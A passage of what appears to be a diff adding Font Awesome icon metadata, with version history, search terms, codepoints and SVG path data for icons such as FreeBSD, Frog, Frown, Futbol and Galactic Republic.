49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "368", + "512" + ], + "width": 368, + "height": 512, + "path": "M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z" + } + }, + "free": [ + "brands" + ] + }, + "free-code-camp": { + "changes": [ + "4.7", + "5.0.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2c5", + "label": "freeCodeCamp", + "voted": false, + "svg": { + "brands": { + "last_modified": 1573074807767, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z" + } + }, + "free": [ + "brands" + ] + }, + "freebsd": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3a4", + "label": "FreeBSD", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860989, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z" + } + }, + "free": [ + "brands" + ] + }, + "frog": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "amphibian", + "bullfrog", + "fauna", + "hop", + "kermit", + "kiss", + "prince", + "ribbit", + "toad", + "wart" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f52e", + "label": "Frog", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635497, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M446.53 97.43C439.67 60.23 407.19 32 368 32c-39.23 0-71.72 28.29-78.54 65.54C126.75 112.96-.5 250.12 0 416.98.11 451.9 29.08 480 64 480h304c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-79.49l35.8-48.33c24.14-36.23 10.35-88.28-33.71-106.6-23.89-9.93-51.55-4.65-72.24 10.88l-32.76 24.59c-7.06 5.31-17.09 3.91-22.41-3.19-5.3-7.08-3.88-17.11 3.19-22.41l34.78-26.09c36.84-27.66 88.28-27.62 125.13 0 10.87 8.15 45.87 39.06 40.8 93.21L469.62 480H560c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-53.63l-98.52-104.68 154.44-86.65A58.16 58.16 0 0 0 576 189.94c0-21.4-11.72-40.95-30.48-51.23-40.56-22.22-98.99-41.28-98.99-41.28zM368 136c-13.26 0-24-10.75-24-24 0-13.26 10.74-24 24-24 13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M446.53 97.43C439.67 60.23 407.19 32 368 32c-39.23 0-71.72 28.29-78.54 65.54C126.75 112.96-.5 250.12 0 416.98.11 451.9 29.08 480 64 480h304c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-79.49l35.8-48.33c24.14-36.23 10.35-88.28-33.71-106.6-23.89-9.93-51.55-4.65-72.24 10.88l-32.76 24.59c-7.06 5.31-17.09 3.91-22.41-3.19-5.3-7.08-3.88-17.11 3.19-22.41l34.78-26.09c36.84-27.66 88.28-27.62 125.13 0 10.87 8.15 45.87 39.06 40.8 93.21L469.62 480H560c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-53.63l-98.52-104.68 154.44-86.65A58.16 58.16 0 0 0 576 189.94c0-21.4-11.72-40.95-30.48-51.23-40.56-22.22-98.99-41.28-98.99-41.28zM368 136c-13.26 0-24-10.75-24-24 0-13.26 10.74-24 24-24 13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24z" + } + }, + "free": [ + "solid" + ] + }, + "frown": { + "changes": [ + "3.1", + "5.0.0", + "5.0.9", + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "disapprove", + "emoticon", + "face", + "rating", + "sad" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f119", + "label": "Frowning Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635498, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm170.2 218.2C315.8 367.4 282.9 352 248 352s-67.8 15.4-90.2 42.2c-13.5 16.3-38.1-4.2-24.6-20.5C161.7 339.6 203.6 320 248 320s86.3 19.6 114.7 53.8c13.6 16.2-11 36.7-24.5 20.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm170.2 218.2C315.8 367.4 282.9 352 248 352s-67.8 15.4-90.2 42.2c-13.5 16.3-38.1-4.2-24.6-20.5C161.7 339.6 203.6 320 248 320s86.3 19.6 114.7 53.8c13.6 16.2-11 36.7-24.5 20.4z" + }, + "regular": { + "last_modified": 1628088634822, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 128c-40.2 0-78 17.7-103.8 48.6-8.5 10.2-7.1 25.3 3.1 33.8 10.2 8.4 25.3 7.1 33.8-3.1 16.6-19.9 41-31.4 66.9-31.4s50.3 11.4 66.9 31.4c8.1 9.7 23.1 11.9 33.8 3.1 10.2-8.5 11.5-23.6 3.1-33.8C326 321.7 288.2 304 248 304z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 128c-40.2 0-78 17.7-103.8 48.6-8.5 10.2-7.1 25.3 3.1 33.8 10.2 8.4 25.3 7.1 33.8-3.1 16.6-19.9 41-31.4 66.9-31.4s50.3 11.4 66.9 31.4c8.1 9.7 23.1 11.9 33.8 3.1 10.2-8.5 11.5-23.6 3.1-33.8C326 321.7 288.2 304 248 304z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "frown-open": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "disapprove", + "emoticon", + "face", + "rating", + "sad" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f57a", + "label": "Frowning Face With Open Mouth", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635498, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm187.3 183.3c-31.2-9.6-59.4-15.3-75.3-15.3s-44.1 5.7-75.3 15.3c-11.5 3.5-22.5-6.3-20.5-18.1 7-40 60.1-61.2 95.8-61.2s88.8 21.3 95.8 61.2c2 11.9-9.1 21.6-20.5 18.1zM328 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm187.3 183.3c-31.2-9.6-59.4-15.3-75.3-15.3s-44.1 5.7-75.3 15.3c-11.5 3.5-22.5-6.3-20.5-18.1 7-40 60.1-61.2 95.8-61.2s88.8 21.3 95.8 61.2c2 11.9-9.1 21.6-20.5 18.1zM328 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + }, + "regular": { + "last_modified": 1628088634821, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-48-248c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 112c-35.6 0-88.8 21.3-95.8 61.2-2 11.8 9 21.5 20.5 18.1 31.2-9.6 59.4-15.3 75.3-15.3s44.1 5.7 75.3 15.3c11.4 3.5 22.5-6.3 20.5-18.1-7-39.9-60.2-61.2-95.8-61.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-48-248c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 112c-35.6 0-88.8 21.3-95.8 61.2-2 11.8 9 21.5 20.5 18.1 31.2-9.6 59.4-15.3 75.3-15.3s44.1 5.7 75.3 15.3c11.4 3.5 22.5-6.3 20.5-18.1-7-39.9-60.2-61.2-95.8-61.2z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "fulcrum": { + "changes": [ + "5.0.12", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f50b", + "label": "Fulcrum", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775898, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z" + } + }, + "free": [ + "brands" + ] + }, + "funnel-dollar": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "filter", + "money", + "options", + "separate", + "sort" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f662", + "label": "Funnel Dollar", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635498, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M433.46 165.94l101.2-111.87C554.61 34.12 540.48 0 512.26 0H31.74C3.52 0-10.61 34.12 9.34 54.07L192 256v155.92c0 12.59 5.93 24.44 16 32l79.99 60c20.86 15.64 48.47 6.97 59.22-13.57C310.8 455.38 288 406.35 288 352c0-89.79 62.05-165.17 145.46-186.06zM480 192c-88.37 0-160 71.63-160 160s71.63 160 160 160 160-71.63 160-160-71.63-160-160-160zm16 239.88V448c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V256c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.04 44.44-42.67 45.07z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M433.46 165.94l101.2-111.87C554.61 34.12 540.48 0 512.26 0H31.74C3.52 0-10.61 34.12 9.34 54.07L192 256v155.92c0 12.59 5.93 24.44 16 32l79.99 60c20.86 15.64 48.47 6.97 59.22-13.57C310.8 455.38 288 406.35 288 352c0-89.79 62.05-165.17 145.46-186.06zM480 192c-88.37 0-160 71.63-160 160s71.63 160 160 160 160-71.63 160-160-71.63-160-160-160zm16 239.88V448c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V256c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.04 44.44-42.67 45.07z" + } + }, + "free": [ + "solid" + ] + }, + "futbol": { + "changes": [ + "4.2", + "5.0.0", + "5.0.5" + ], + "ligatures": [], + "search": { + "terms": [ + "ball", + "football", + "mls", + "soccer" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1e3", + "label": "Futbol", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635499, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-48 0l-.003-.282-26.064 22.741-62.679-58.5 16.454-84.355 34.303 3.072c-24.889-34.216-60.004-60.089-100.709-73.141l13.651 31.939L256 139l-74.953-41.525 13.651-31.939c-40.631 13.028-75.78 38.87-100.709 73.141l34.565-3.073 16.192 84.355-62.678 58.5-26.064-22.741-.003.282c0 43.015 13.497 83.952 38.472 117.991l7.704-33.897 85.138 10.447 36.301 77.826-29.902 17.786c40.202 13.122 84.29 13.148 124.572 0l-29.902-17.786 36.301-77.826 85.138-10.447 7.704 33.897C442.503 339.952 456 299.015 456 256zm-248.102 69.571l-29.894-91.312L256 177.732l77.996 56.527-29.622 91.312h-96.476z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-48 0l-.003-.282-26.064 22.741-62.679-58.5 16.454-84.355 34.303 3.072c-24.889-34.216-60.004-60.089-100.709-73.141l13.651 31.939L256 139l-74.953-41.525 13.651-31.939c-40.631 13.028-75.78 38.87-100.709 73.141l34.565-3.073 16.192 84.355-62.678 58.5-26.064-22.741-.003.282c0 43.015 13.497 83.952 38.472 117.991l7.704-33.897 85.138 10.447 36.301 77.826-29.902 17.786c40.202 13.122 84.29 13.148 124.572 0l-29.902-17.786 36.301-77.826 85.138-10.447 7.704 33.897C442.503 339.952 456 299.015 456 256zm-248.102 69.571l-29.894-91.312L256 177.732l77.996 56.527-29.622 91.312h-96.476z" + }, + "regular": { + "last_modified": 1628088634822, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M483.8 179.4C449.8 74.6 352.6 8 248.1 8c-25.4 0-51.2 3.9-76.7 12.2C41.2 62.5-30.1 202.4 12.2 332.6 46.2 437.4 143.4 504 247.9 504c25.4 0 51.2-3.9 76.7-12.2 130.2-42.3 201.5-182.2 159.2-312.4zm-74.5 193.7l-52.2 6.4-43.7-60.9 24.4-75.2 71.1-22.1 38.9 36.4c-.2 30.7-7.4 61.1-21.7 89.2-4.7 9.3-10.7 17.8-16.8 26.2zm0-235.4l-10.4 53.1-70.7 22-64.2-46.5V92.5l47.4-26.2c39.2 13 73.4 38 97.9 71.4zM184.9 66.4L232 92.5v73.8l-64.2 46.5-70.6-22-10.1-52.5c24.3-33.4 57.9-58.6 97.8-71.9zM139 379.5L85.9 373c-14.4-20.1-37.3-59.6-37.8-115.3l39-36.4 71.1 22.2 24.3 74.3-43.5 61.7zm48.2 67l-22.4-48.1 43.6-61.7H287l44.3 61.7-22.4 48.1c-6.2 1.8-57.6 20.4-121.7 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M483.8 179.4C449.8 74.6 352.6 8 248.1 8c-25.4 0-51.2 3.9-76.7 12.2C41.2 62.5-30.1 202.4 12.2 332.6 46.2 437.4 143.4 504 247.9 504c25.4 0 51.2-3.9 76.7-12.2 130.2-42.3 201.5-182.2 159.2-312.4zm-74.5 193.7l-52.2 6.4-43.7-60.9 24.4-75.2 71.1-22.1 38.9 36.4c-.2 30.7-7.4 61.1-21.7 89.2-4.7 9.3-10.7 17.8-16.8 26.2zm0-235.4l-10.4 53.1-70.7 22-64.2-46.5V92.5l47.4-26.2c39.2 13 73.4 38 97.9 71.4zM184.9 66.4L232 92.5v73.8l-64.2 46.5-70.6-22-10.1-52.5c24.3-33.4 57.9-58.6 97.8-71.9zM139 379.5L85.9 373c-14.4-20.1-37.3-59.6-37.8-115.3l39-36.4 71.1 22.2 24.3 74.3-43.5 61.7zm48.2 67l-22.4-48.1 43.6-61.7H287l44.3 61.7-22.4 48.1c-6.2 1.8-57.6 20.4-121.7 0z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "galactic-republic": { + "changes": [ + "5.0.12" + ], + "ligatures": [], + "search": { + "terms": [ + "politics", + "star wars" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f50c", + "label": "Galactic Republic", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860990, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 